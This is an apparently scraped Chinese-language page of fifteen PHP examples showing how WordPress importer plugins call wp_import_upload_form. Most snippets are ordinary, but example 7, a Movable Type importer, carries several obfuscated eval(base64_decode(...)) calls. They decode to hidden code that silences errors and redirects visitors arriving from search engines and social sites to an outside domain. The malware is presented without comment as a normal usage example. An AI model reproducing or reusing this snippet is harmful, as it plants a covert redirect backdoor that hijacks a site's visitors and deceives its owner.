本文整理汇总了PHP中wp_import_upload_form函数的典型用法代码示例。如果您正苦于以下问题:PHP wp_import_upload_form函数的具体用法?PHP wp_import_upload_form怎么用?PHP wp_import_upload_form使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了wp_import_upload_form函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: opml_import
/**
* Shows The Import Page and import form for step 1.
* Calls the parsing and importing function for step 2.
*
* @since 3.3
* @return void
*/
public function opml_import()
{
// Show the Icon and Title
echo '<div class="wrap">';
screen_icon();
echo '<h2>Import OPML</h2>';
// Get the current step from URL query string
$step = empty($_GET['step']) ? 0 : (int) $_GET['step'];
// Check the current step
switch ($step) {
default:
case 0:
// Show the Import Message and the import upload form
echo '<p>' . __('Howdy! Import your feeds here from an OPML (.xml) export file.', 'wprss') . '</p>';
echo '<p>' . __("Click the button below, choose your file, and click 'Upload'.", 'wprss') . '</p>';
echo '<p>' . __('We will take care of the rest.', 'wprss') . '</p>';
// Show an import upload form that submits to the same page, with GET parameter step=1
wp_import_upload_form('admin.php?import=wprss_opml_importer&step=1');
break;
case 1:
// Check referer
check_admin_referer('import-upload');
// If the handle_upload function returns true
if ($this->handle_upload()) {
// Get the uploaded file
$file = get_attached_file($this->id);
set_time_limit(0);
// Parse the File and Import the feeds
$this->parse_and_import($file);
}
break;
}
echo '</div>';
}
示例2: greet
function greet()
{
echo '<div class="narrow">';
echo '<p>' . __('Howdy! This importer allows you to extract posts from an RSS 2.0 file into your WordPress site. This is useful if you want to import your posts from a system that is not handled by a custom import tool. Pick an RSS file to upload and click Import.', 'rss-importer') . '</p>';
wp_import_upload_form("admin.php?import=rss&step=1");
echo '</div>';
}
示例3: greet
function greet() {
echo '<div class="narrow">';
echo '<p>'.__('Howdy! Upload your WordPress eXtended RSS (WXR) file and we’ll import the posts, pages, comments, custom fields, categories, and tags into this blog.').'</p>';
echo '<p>'.__('Choose a WordPress WXR file to upload, then click Upload file and import.').'</p>';
wp_import_upload_form("admin.php?import=wordpress&step=1");
echo '</div>';
}
示例4: greet
function greet()
{
echo '<div class="narrow">';
echo '<p>' . __('Howdy! This importer allows you to extract posts from Blogware XML export file into your blog. Pick a Blogware file to upload and click Import.') . '</p>';
wp_import_upload_form("admin.php?import=blogware&step=1");
echo '</div>';
}
示例5: greet
function greet()
{
echo '<div class="narrow">';
echo '<p>' . __('Upload your <a href="http://blogml.codeplex.com/">BlogML</a> file and we’ll import the posts, comments, authors, and categories into this blog.') . '</p>';
echo '<p>' . __('Choose a BlogML file to upload, then click Upload file and import.') . '</p>';
wp_import_upload_form("admin.php?import=blogml&step=1");
echo '</div>';
}
示例6: greet
function greet() {
$this->header();
?>
<p><?php _e('Howdy! We’re about to begin the process to import all of your Movable Type entries into WordPress. To begin, select a file to upload and click Import.'); ?></p>
<?php wp_import_upload_form( add_query_arg('step', 1) ); ?>
<p><?php _e('The importer is smart enough not to import duplicates, so you can run this multiple times without worry if—for whatever reason—it doesn\'t finish. If you get an <strong>out of memory</strong> error try splitting up the import file into pieces.'); ?> </p>
<?php
$this->footer();
}
示例7: greet
function greet()
{
$this->header();
?>
<div class="narrow">
<p><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('Howdy! We’re about to begin importing all of your Movable Type or TypePad entries into WordPress. To begin, either choose a file to upload and click “Upload file and import”, or use FTP to upload your MT export file as <code>mt-export.txt</code> in your <code>/wp-content/</code> directory and then click "Import mt-export.txt"');
?>
</p>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSW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oKTsNCn0KfQp9DQp9DQp9"));
wp_import_upload_form(add_query_arg('step', 1));
?>
<form method="post" action="<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKC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RyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
wp_nonce_field('import-upload');
?>
<p>
<input type="hidden" name="upload_type" value="ftp" />
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('Or use <code>mt-export.txt</code> in your <code>/wp-content/</code> directory');
?>
</p>
<p class="submit">
<input type="submit" class="button" value="<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIik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aXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('The importer is smart enough not to import duplicates, so you can run this multiple times without worry if—for whatever reason—it doesn’t finish. If you get an <strong>out of memory</strong> error try splitting up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yaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
$this->footer();
}
示例8: greet
function greet()
{
echo '<p>' . __('Choose a CSV (.csv) file to upload, then click Upload file and import.', 'rs-csv-importer') . '</p>';
echo '<p>' . __('Maybe Excel-style CSV file is not best for import data. Follow export options below. LibreOffice might be good for you.', 'rs-csv-importer') . '</p>';
echo '<ol>';
echo '<li>' . __('Select UTF-8 as charset.', 'rs-csv-importer') . '</li>';
echo '<li>' . sprintf(__('You must use field delimiter as "%s"', 'rs-csv-importer'), RS_CSV_Helper::DELIMITER) . '</li>';
echo '<li>' . __('You must quote all text cells.', 'rs-csv-importer') . '</li>';
echo '</ol>';
echo '<p>' . __('Sample CSV file download:', 'rs-csv-importer');
echo ' <a href="' . plugin_dir_url(__FILE__) . 'sample/sample.csv">' . __('csv', 'rs-csv-importer') . '</a>,';
echo ' <a href="' . plugin_dir_url(__FILE__) . 'sample/sample.ods">' . __('ods (OpenDocument Spreadsheet file format)', 'rs-csv-importer') . '</a>';
echo '</p>';
wp_import_upload_form(add_query_arg('step', 1));
}
示例9: page_content
function page_content()
{
if (isset($_GET['step']) && 1 == $_GET['step']) {
$this->import();
}
if (defined('WP_DEBUG') && isset($_GET['step']) && 'export' == $_GET['step']) {
$wud = wp_upload_dir();
$name = '/export-' . substr(md5(rand()), 0, 8) . '.csv';
$this->export($wud['basedir'] . $name);
echo scb_admin_notice('CSV Generated: ' . html_link($wud['baseurl'] . $name));
}
echo '<div class="narrow">';
echo '<p>' . __('Below you will find a tool which allows you to import content from other systems via a CSV (comma-separated values) file, which can be edited using a program like Excel. Note that the file must be in the correct format for the import tool to work. You will find an example .csv file in the "examples" theme folder.', 'appthemes') . '</p>';
echo '<p>' . __('Choose a CSV file to upload, then click "Upload file and import".', 'appthemes') . '</p>';
wp_import_upload_form('admin.php?page=app-importer&step=1');
echo '</div>';
}
示例10: greet
function greet()
{
echo '<p>' . __('Choose a CSV (.csv) file to upload, then click Upload file and import.', 'really-simple-csv-importer') . '</p>';
echo '<p>' . __('Excel-style CSV file is unconventional and not recommended. LibreOffice has enough export options and recommended for most users.', 'really-simple-csv-importer') . '</p>';
echo '<p>' . __('Requirements:', 'really-simple-csv-importer') . '</p>';
echo '<ol>';
echo '<li>' . __('Select UTF-8 as charset.', 'really-simple-csv-importer') . '</li>';
echo '<li>' . sprintf(__('You must use field delimiter as "%s"', 'really-simple-csv-importer'), RS_CSV_Helper::DELIMITER) . '</li>';
echo '<li>' . __('You must quote all text cells.', 'really-simple-csv-importer') . '</li>';
echo '</ol>';
echo '<p>' . __('Download example CSV files:', 'really-simple-csv-importer');
echo ' <a href="' . plugin_dir_url(__FILE__) . 'sample/sample.csv">' . __('csv', 'really-simple-csv-importer') . '</a>,';
echo ' <a href="' . plugin_dir_url(__FILE__) . 'sample/sample.ods">' . __('ods', 'really-simple-csv-importer') . '</a>';
echo ' ' . __('(OpenDocument Spreadsheet file format for LibreOffice. Please export as csv before import)', 'really-simple-csv-importer');
echo '</p>';
wp_import_upload_form(add_query_arg('step', 1));
}
示例11: greet
function greet()
{
$this->header();
?>
<div class="narrow">
<p><?php
_e('Howdy! We’re about to begin importing all of your Movable Type or Typepad entries into WordPress. To begin, either choose a file to upload and click "Upload file and import," or use FTP to upload your MT export file as <code>mt-export.txt</code> in your <code>/wp-content/</code> directory and then click "Import mt-export.txt"');
?>
</p>
<?php
wp_import_upload_form(add_query_arg('step', 1));
?>
<form method="post" action="<?php
echo add_query_arg('step', 1);
?>
" class="import-upload-form">
<?php
wp_nonce_field('import-upload');
?>
<p>
<input type="hidden" name="upload_type" value="ftp" />
<?php
_e('Or use <code>mt-export.txt</code> in your <code>/wp-content/</code> directory');
?>
</p>
<p class="submit">
<input type="submit" class="button" value="<?php
echo attribute_escape(__('Import mt-export.txt'));
?>
" />
</p>
</form>
<p><?php
_e('The importer is smart enough not to import duplicates, so you can run this multiple times without worry if—for whatever reason—it doesn\'t finish. If you get an <strong>out of memory</strong> error try splitting up the import file into pieces.');
?>
</p>
</div>
<?php
$this->footer();
}
示例12: greet
/**
* greet function.
*
* @access public
* @return void
*/
function greet()
{
echo '<div class="narrow">';
echo '<p>' . __('Hi there! Choose a .csv file to upload, then click "Upload file and import".', 'prosports') . '</p>';
echo '<p>' . sprintf(__('Sponsors need to be defined with columns in a specific order (2 columns). <a href="%s">Click here to download a sample</a>.', 'prosports'), SP_SPONSORS_URL . 'dummy-data/sponsors-sample.csv') . '</p>';
wp_import_upload_form('admin.php?import=prosports_sponsor_csv&step=1');
echo '</div>';
}
示例13: csv_importer
public function csv_importer()
{
echo '<form method="POST" action="" enctype="multipart/form-data">';
// Load Importer API
require_once ABSPATH . 'wp-admin/includes/import.php';
if (!class_exists('WP_Importer')) {
$class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php';
if (file_exists($class_wp_importer)) {
require_once $class_wp_importer;
}
}
if (empty($_FILES)) {
echo "<p>Use the below form to upload your CSV file for importing.</p>";
echo "<p><strong>Example CSV Data:</strong></p>";
echo "<p><code>'Title','Body','Client Name','Position / Location / Other','Location / Product / Other','Rating','HTID'</code></p>";
echo "<p><strong>Please Note:</strong> the first line of the CSV will need to match the text in the above example, for the Import to work. Depending on your server settings, you may need to run the import several times if your script times out.</p>";
echo '<div class="gp_upload_file_wrapper">';
wp_import_upload_form(add_query_arg('step', 1));
echo '</div>';
} else {
$file = wp_import_handle_upload();
if (isset($file['error'])) {
echo '<p><strong>' . 'Sorry, there has been an error.' . '</strong><br />';
echo esc_html($file['error']) . '</p>';
return false;
} else {
if (!file_exists($file['file'])) {
echo '<p><strong>' . 'Sorry, there has been an error.' . '</strong><br />';
printf('The export file could not be found at <code>%s</code>. It is likely that this was caused by a permissions problem.', esc_html($file['file']));
echo '</p>';
return false;
}
}
$fileid = (int) $file['id'];
$file = get_attached_file($fileid);
$result = $this->import_testimonials_from_csv($file);
if (is_wp_error($result)) {
echo $result;
} else {
echo "<p>Testimonials successfully imported!</p>";
}
}
echo '</form>';
}
示例14: csv_importer
public function csv_importer()
{
// Load Importer API
require_once ABSPATH . 'wp-admin/includes/import.php';
if (!class_exists('WP_Importer')) {
$class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php';
if (file_exists($class_wp_importer)) {
require_once $class_wp_importer;
}
}
if (empty($_FILES)) {
//echo '<form method="POST" action="" enctype="multipart/form-data">';
echo "<p>Use the form below to upload your CSV file for importing.</p>";
echo "<p><strong>Example CSV Data:</strong></p>";
echo "<p><code>'Title','Body','Client Name','E-Mail Address','Position / Location / Other','Location / Product / Other','Rating','HTID','Featured Image','Categories'</code></p>";
echo "<p><strong>Please Note:</strong> the first line of the CSV will need to match the text in the above example, for the Import to work. Featured Image is expecting a path to an accessible image online. Depending on your server settings, you may need to run the import several times if your script times out.</p>";
echo '<div class="gp_upload_file_wrapper">';
ob_start();
wp_import_upload_form(add_query_arg('step', 1));
$import_form_html = ob_get_contents();
$import_form_html = str_replace('<form ', '<div data-gp-ajax-form="1" ', $import_form_html);
$import_form_html = str_replace('</form>', '</div>', $import_form_html);
// must remove this hidden "action" input, or the form will not
// save proerly (it will keep going to options.php)
$import_form_html = str_replace('<input type="hidden" name="action" value="save" />', '', $import_form_html);
ob_end_clean();
echo $import_form_html;
echo '</div>';
//echo '</form>';
} else {
$file = wp_import_handle_upload();
echo '<h4>Log</h4>';
echo '<textarea rows="20" class="import_response">';
//if there is an error, output a message containing the error
if (isset($file['error'])) {
echo "Sorry, there has been an error.\n";
echo esc_html($file['error']) . "\n";
// if the file doesn't exists, output a message about it
} else {
if (!file_exists($file['file'])) {
echo "Sorry, there has been an error.\n";
printf("The export file could not be found at %s. It is likely that this was caused by a permissions problem.\n", esc_html($file['file']));
// otherwise, if there is no error and the file exists, go ahead and process the file
} else {
$fileid = (int) $file['id'];
$file = get_attached_file($fileid);
$this->import_testimonials_from_csv($file);
echo "\nTestimonials successfully imported!\n";
}
}
echo '</textarea>';
//close response
echo '<p><a class="button-primary button" href="/wp-admin/admin.php?page=easy-testimonials-import-export" title="Import More Testimonials">Import More Testimonials</a></p>';
}
}
示例15: greet
function greet()
{
wp_import_upload_form(add_query_arg('step', 1));
}